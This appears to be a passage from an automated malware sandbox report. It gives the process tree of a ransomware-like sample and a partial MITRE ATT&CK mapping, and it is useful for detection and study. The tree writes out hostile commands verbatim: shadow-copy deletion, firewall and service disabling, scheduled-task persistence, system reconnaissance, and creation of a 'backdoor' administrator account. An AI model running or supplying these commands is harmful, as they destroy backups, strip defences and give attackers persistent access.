  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe"
    3⤵
    PID:952
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4228
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4488
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of AdjustPrivilegeToken
  PID:2868
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1796
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4292
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2976
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:4236
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:744
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1908
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4552
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4932
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2552
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1444
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:1932
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3592
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:2924
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4324
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:748
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2208
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3692
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3932
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3032
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:1368
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4068
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4472
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:4312

C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe
C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe
1⤵
PID:2668

C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe
C:\Users\Admin\AppData\Local\Temp\cakhiatvvs.live_nano.exe
1⤵
PID:892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery